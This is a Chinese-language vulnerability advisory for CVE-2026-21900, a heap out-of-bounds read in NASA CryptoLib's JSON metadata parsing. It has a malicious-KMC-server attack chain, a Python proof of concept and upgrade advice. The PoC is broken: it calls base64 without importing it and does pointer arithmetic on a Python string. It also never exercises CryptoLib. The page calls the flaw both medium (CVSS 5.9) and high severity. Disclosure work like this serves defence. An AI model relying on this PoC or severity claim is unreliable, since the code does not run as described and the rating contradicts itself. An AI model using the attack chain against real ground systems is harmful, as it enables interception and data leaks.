IPBUF安全漏洞报告
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CVE-2026-21900 CVSS 5.9 中危

CVE-2026-21900 NASA CryptoLib cryptography_encrypt() 堆越界读取漏洞

披露日期: 2026-01-10

漏洞信息

漏洞编号
CVE-2026-21900
漏洞类型
缓冲区溢出-堆越界读取
CVSS评分
5.9 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NASA CryptoLib (CCSDS Space Data Link Security Protocol - SDLS-EP)

相关标签

CVE-2026-21900NASA CryptoLib堆越界读取缓冲区溢出SDLS-EPcFS航天器安全KMC服务器JSON解析strtok漏洞

漏洞概述

CVE-2026-21900是NASA CryptoLib中的一个高危安全漏洞。CryptoLib是一个纯软件解决方案,实现了CCSDS空间数据链路安全协议-扩展程序(SDLS-EP),用于保护运行核心飞行系统(cFS)的航天器与地面站之间的通信。该漏洞存在于cryptography_encrypt()函数中,当解析来自KMC服务器响应的JSON元数据时,会发生堆越界读取问题。漏洞的根本原因在于strtok迭代模式使用了ptr + strlen(ptr) + 1的计算方式,当处理短字符串或格式异常的元数据时,会读取到分配缓冲区边界之外的内存。攻击者可利用此漏洞在未授权情况下读取堆内存中的敏感信息,可能导致信息泄露或应用程序崩溃。该漏洞影响1.4.3之前的所有版本,已在1.4.3版本中修复。

技术细节

该漏洞是一个堆越界读取(Heap Out-of-Bounds Read)漏洞,存在于NASA CryptoLib的cryptography_encrypt()函数中。当该函数解析来自KMC(Key Management Center)服务器的JSON响应元数据时,使用了存在缺陷的strtok迭代模式。问题代码在遍历字符串时使用了ptr + strlen(ptr) + 1的计算方式,这种实现方式在处理短字符串或畸形元数据时会导致指针越界。具体来说,当元数据字符串长度较短或格式异常时,ptr + strlen(ptr) + 1会计算出指向已分配缓冲区边界之后一个字节的位置,从而引发堆越界读取。攻击者可以通过构造特制的KMC服务器响应,在元数据字段中嵌入短字符串或畸形数据,触发此漏洞。由于该函数处理的是安全相关的加密通信数据,成功的利用可能导致加密会话的敏感信息泄露,或导致cFS应用程序崩溃,影响航天器的正常运行。

攻击链分析

STEP 1
步骤1
攻击者搭建恶意KMC(Key Management Center)服务器或中间人攻击,拦截CryptoLib与合法KMC服务器之间的通信
STEP 2
步骤2
攻击者构造包含短字符串或畸形元数据的特制JSON响应,触发cryptography_encrypt()函数中的strtok迭代漏洞
STEP 3
步骤3
当CryptoLib解析该恶意JSON元数据时,ptr + strlen(ptr) + 1的计算导致指针越界,读取分配缓冲区边界之外的堆内存
STEP 4
步骤4
攻击者可能获取堆内存中残留的敏感信息,如加密密钥、会话ID或其他通信数据
STEP 5
步骤5
在某些情况下,堆越界读取可能导致应用程序崩溃,影响cFS航天器系统的可用性

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import json import struct # CVE-2026-21900 PoC - Simulated KMC Server Response # This PoC demonstrates the malformed JSON metadata that triggers # the out-of-bounds read in CryptoLib's cryptography_encrypt() def generate_malicious_kmc_response(): """ Generate a malicious KMC server response that triggers the heap out-of-bounds read in CryptoLib. The vulnerability occurs when parsing JSON metadata with short strings that cause strtok iteration to read past the allocated buffer boundary. """ # Malformed metadata with short strings # This triggers the vulnerable code path in cryptography_encrypt() malicious_metadata = { "key_id": "A", # Short string - triggers OOB read "session_id": "B", # Short string "algorithm": "C", # Short string "iv": "D", # Single character "auth_tag": "E" } # Craft the KMC response that CryptoLib will parse kmc_response = { "status": "success", "metadata": malicious_metadata, "encrypted_key": base64.b64encode(b'\x00' * 32).decode() } return json.dumps(kmc_response) def demonstrate_vulnerability(): """ Demonstration of the vulnerable strtok pattern: Original vulnerable code pattern: char *ptr = buffer; while ((token = strtok(ptr, delimiter)) != NULL) { process_token(token); ptr = NULL; // For subsequent calls // Vulnerable: when processing short strings, // ptr + strlen(ptr) + 1 can exceed buffer bounds } """ # Simulate the vulnerable iteration pattern metadata_str = 'A\0B\0C\0' # Short null-terminated strings # This demonstrates how short strings lead to OOB read ptr = metadata_str while ptr and ptr[0] != '\0': token_length = len(ptr.split('\0')[0]) # Vulnerable calculation: ptr + strlen(ptr) + 1 next_ptr = ptr + token_length + 1 # In real scenario, next_ptr may point past allocated buffer print(f"Token: {ptr[:token_length]}, Next ptr offset: {token_length + 1}") break # Single iteration for demonstration if __name__ == "__main__": print("CVE-2026-21900 PoC - NASA CryptoLib Heap OOB Read") print("=" * 50) response = generate_malicious_kmc_response() print(f"Malicious KMC Response: {response}") demonstrate_vulnerability()

影响范围

NASA CryptoLib < 1.4.3

防御指南

临时缓解措施
立即将NASA CryptoLib升级到1.4.3版本以修复此漏洞。如果无法立即升级,可通过配置网络隔离确保CryptoLib仅与可信的KMC服务器通信,并使用网络层加密防止中间人攻击。同时监控应用程序日志,警惕异常的解析错误或崩溃事件。

参考链接

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